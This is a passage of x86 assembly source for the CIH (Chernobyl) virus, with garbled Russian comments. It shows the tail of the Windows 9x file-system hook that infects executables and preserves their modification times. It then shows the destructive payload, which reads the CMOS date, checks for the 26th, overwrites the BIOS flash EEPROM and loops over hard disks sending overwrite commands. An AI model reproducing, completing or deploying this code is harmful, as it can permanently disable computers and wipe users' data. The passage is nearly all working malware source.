;  CF = 1 ==>   ⠭ ६ 䨪樨 䠩
;----------------------------------------------------------------------------

SetFileModificationMark:
                        pop     ebx
                        pop     eax

                        stc             ; ⠭ CF ( ७)
                        pushf

;------------------------------------
;  䠩
;------------------------------------

CloseFile:
                        xor     eax, eax
                        mov     ah, 0d7h
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;------------------------------------
; H  ⠭ ६ 䨪樨 䠩?!
;------------------------------------

                        popf
                        pop     esi
                        jnc     IsKillComputer

;------------------------------------
; ⠭ ६ 䨪樨 䠩
;------------------------------------

                        mov     ebx, edi

                        mov     ax, 4303h
                        mov     ecx, (FileModificationTime-@7)[esi]
                        mov     edi, (FileModificationTime+2-@7)[esi]
                        call    ebx     ; VXDCall IFSMgr_Ring0_FileIO

;------------------------------------
; 몫 䫠 
;------------------------------------

DisableOnBusy:
                        dec     byte ptr (OnBusy-@7)[esi]       ; 몫

;------------------------------------
; 맢 ।騩 ࠡ稪 䠩뢮 API ... (FileSystemApiHook)
;------------------------------------

prevhook:
                        popad

                        mov     eax, dr0        ;
                        jmp     [eax]           ; ३  ।騩
                                                ; ࠡ稪

;----------------------------------------------------------------------------
; 맢 㭪,  IFS  筮 뢠  믮
; 筮  -뢮.
;----------------------------------------------------------------------------

pIFSFunc:
                        mov     ebx, esp
                        push    dword ptr [ebx+20h+04h+14h]     ; 
                        call    [ebx+20h+04h]                   ; 맢 pIFSFunc
                        pop     ecx                             ;

                        mov     [ebx+1ch], eax  ; ࠢ 祭 EAX
                                                ; ࠭  ⥪

;----------------------------------------------------------------------------
; ᫥ 맮 pIFSFunc,   饭  
;----------------------------------------------------------------------------

                        cmp     dword ptr [ebx+20h+04h+04h], 00000024h
                        jne     QuitMyVirusFileSystemHook

;----------------------------------------------------------------------------
;  ६   䨪樨  DOS ଠ
;----------------------------------------------------------------------------

                        mov     eax, [ecx+28h]
                        mov     (FileModificationTime-@6)[esi], eax

;----------------------------------------------------------------------------
;   ࠡ稪 (IFSMgr_FileSystemHook)
;----------------------------------------------------------------------------

QuitMyVirusFileSystemHook:

                        popad

                        ret

;------------------------------------
; 쥡 !? ...   *^_^*
;------------------------------------

IsKillComputer:
                        ;  ᥣ譥 ᫮  BIOS CMOS
                        mov     al, 07h
                        out     70h, al
                        in      al, 71h

                        xor     al, 26h ; ??/26/????

IF      DEBUG
                        jmp     DisableOnBusy
ELSE
                        jnz     DisableOnBusy
ENDIF

;           (ॢ :)
;------------------------------------*
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
;------------------------------------*

;--------------------------
; ਡ BIOS EEPROM
;--------------------------

                        mov     bp, 0cf8h
                        lea     esi, IOForEEPROM-@7[esi]

;----------------------
;  ࠭ BIOS
;   000E0000 - 000EFFFF
;     (   64 KB   )
;----------------------

                        mov     edi, 8000384ch
                        mov     dx, 0cfeh
                        cli
                        call    esi

;----------------------
;  ࠭ BIOS
;   000F0000 - 000FFFFF
;     (   64 KB   )
;----------------------

                        mov     di, 0058h
                        dec     edx                                     ; and al,0fh
                        mov     word ptr (BooleanCalculateCode-@10)[esi], 0f24h
                        call    esi

;----------------------
;  ⥫  BIOS
; 000E0000 - 000E01FF
;   (   512 Bytes   )
;  ᥪ ⥫쭮 BIOS (Extra BIOS)
;   ᠭ...
;----------------------

                        lea     ebx, EnableEEPROMToWrite-@10[esi]

                        mov     eax, 0e5555h
                        mov     ecx, 0e2aaah
                        call    ebx
                        mov     byte ptr [eax], 60h

                        push    ecx
                        loop    $

;----------------------
; ਡ ⥫  BIOS (BIOS Extra ROM Data)
; 000E0000 - 000E007F
;   (   80h Bytes   )
;----------------------

                        xor     ah, ah
                        mov     [eax], al

                        xchg    ecx, eax
                        loop    $

;----------------------
;    ᭮  BIOS {BIOS Main ROM Data}
; 000E0000 - 000FFFFF, (128 KB),   ᠭ...
;----------------------

                        mov     eax, 0f5555h
                        pop     ecx
                        mov     ch, 0aah
                        call    ebx
                        mov     byte ptr [eax], 20h

                        loop    $

;----------------------
; ਡ   ᭮ BIOS {BIOS Main ROM Data}
; 000FE000 - 000FE07F, (80h Bytes)
;----------------------

                        mov     ah, 0e0h
                        mov     [eax], al

;----------------------
;  ࠭ BIOS
; 000F0000 - 000FFFFF,(64 KB)
;----------------------
                                                                        ; or al,10h
                        mov     word ptr (BooleanCalculateCode-@10)[esi], 100ch
                        call    esi

;--------------------------
; 쥡 ⪨ ᪨
;--------------------------------------------------
; IOR C, ॡ  IOS_SendCommand
;--------------------------------------------------
; ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
;--------------------------------------------------

KillHardDisk:
                        xor     ebx, ebx
                        mov     bh, FirstKillHardDiskNumber
                        push    ebx
                        sub     esp, 2ch
                        push    0c0001000h
                        mov     bh, 08h
                        push    ebx
                        push    ecx
                        push    ecx
                        push    ecx
                        push    40000501h
                        inc     ecx
                        push    ecx
                        push    ecx

                        mov     esi, esp
                        sub     esp, 0ach

LoopOfKillHardDisk:
                        int     20h
                        dd      00100004h       ; VXDCall IOS_SendCommand

                        cmp     word ptr [esi+06h], 0017h
                        je      KillNextDataSection

ChangeNextHardDisk:
                        inc     byte ptr [esi+4dh]

                        jmp     LoopOfKillHardDisk

KillNextDataSection:
                        add     dword ptr [esi+10h], ebx
                        mov     byte ptr [esi+4dh], FirstKillHardDiskNumber

                        jmp     LoopOfKillHardDisk

;--------------------------
;  EEPROM  
;--------------------------

EnableEEPROMToWrite:
                        mov     [eax], cl
                        mov     [ecx], al
                        mov     byte ptr [eax], 80h
                        mov     [eax], cl
                        mov     [ecx], al

                        ret

;--------------------------
; /뢮  EEPROM
;--------------------------

IOForEEPROM:
@10                     =       IOForEEPROM

                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, eax

                        xchg    eax, edi
                        xchg    edx, ebp
                        in      al, dx

BooleanCalculateCode    =       $
                        or      al, 44h

                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, eax

                        xchg    eax, edi
                        xchg    edx, ebp
                        out     dx, al

                        ret

;--------------------------------------------------------
; ᪨ 
;--------------------------------------------------------

LastVxDCallAddress      =       IFSMgr_Ring0_FileIO
VxDCallAddressTable     db      00h
                        db      IFSMgr_RemoveFileSystemApiHook-_PageAllocate
                        db      UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
                        db      IFSMgr_Ring0_FileIO-UniToBCSPath

VxDCallIDTable          dd      00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize        =       ($-VxDCallIDTable)/04h

;--------------------------------------------------------
; ࠩ
;--------------------------------------------------------

VirusVersionCopyright   db      'CIH v'
                        db      MajorVirusVersion+'0'
                        db      '.'
                        db      MinorVirusVersion+'0'
                        db      ' TATUNG'

;--------------------------------------------------------
;  
;--------------------------------------------------------

VirusSize                       =       $
;                               + SizeOfVirusCodeSectionTableEndMark(04h)
;                               + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                               + SizeOfTheFirstVirusCodeSectionTable(04h)

;--------------------------------------------------------
; ᪨ 
;--------------------------------------------------------

VirusGameDataStartAddress       =       VirusSize
@6                              =       VirusGameDataStartAddress
OnBusy                          db      0
FileModificationTime            dd      ?

FileNameBuffer          db      FileNameBufferSize dup(?)
@7                      =       FileNameBuffer

DataBuffer              =       $
@8                      =       DataBuffer
NumberOfSections        dw      ?
TimeDateStamp           dd      ?
SymbolsPointer          dd      ?
NumberOfSymbols         dd      ?
SizeOfOptionalHeader    dw      ?
_Characteristics        dw      ?
Magic                   dw      ?
LinkerVersion           dw      ?
SizeOfCode              dd      ?
SizeOfInitializedData   dd      ?
SizeOfUninitializedData dd      ?
AddressOfEntryPoint     dd      ?
BaseOfCode              dd      ?
BaseOfData              dd      ?
ImageBase               dd      ?
@9                      =       $
SectionAlignment        dd      ?
FileAlignment           dd      ?
OperatingSystemVersion  dd      ?
ImageVersion            dd      ?
SubsystemVersion        dd      ?
Reserved                dd      ?
SizeOfImage             dd      ?
SizeOfHeaders           dd      ?
SizeOfImageHeaderToRead         =       $-NumberOfSections

NewAddressOfEntryPoint  =       DataBuffer      ; DWORD
SizeOfImageHeaderToWrite        =       04h

StartOfSectionTable     =       @9
SectionName             =       StartOfSectionTable     ; QWORD
VirtualSize             =       StartOfSectionTable+08h ; DWORD
VirtualAddress          =       StartOfSectionTable+0ch ; DWORD
SizeOfRawData           =       StartOfSectionTable+10h ; DWORD
PointerToRawData        =       StartOfSectionTable+14h ; DWORD
PointerToRelocations    =       StartOfSectionTable+18h ; DWORD
PointerToLineNumbers    =       StartOfSectionTable+1ch ; DWORD
NumberOfRelocations     =       StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers     =       StartOfSectionTable+22h ; WORD
Characteristics         =       StartOfSectionTable+24h ; DWORD
SizeOfScetionTable      =       Characteristics+04h-SectionName

;--------------------------------------------------------
;  , 室  
;--------------------------------------------------------

VirusNeedBaseMemory     =       $

VirusTotalNeedMemory    =       @9
;                               + NumberOfSections(??)*SizeOfScetionTable(28h)
;                               + SizeOfVirusCodeSectionTableEndMark(04h)
;                               + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                               + SizeOfTheFirstVirusCodeSectionTable(04h)

;----------------------------------------------------------------------------
;----------------------------------------------------------------------------

VirusGame               ENDS

                        END     FileHeader

;----------------------------------------------------------------------------
; ணࠬ 訩,  ᪮    :)
;----------------------------------------------------------------------------
;
; (x)
;
; Lurking in the dismal fog
; Hungry for your blood ...
;
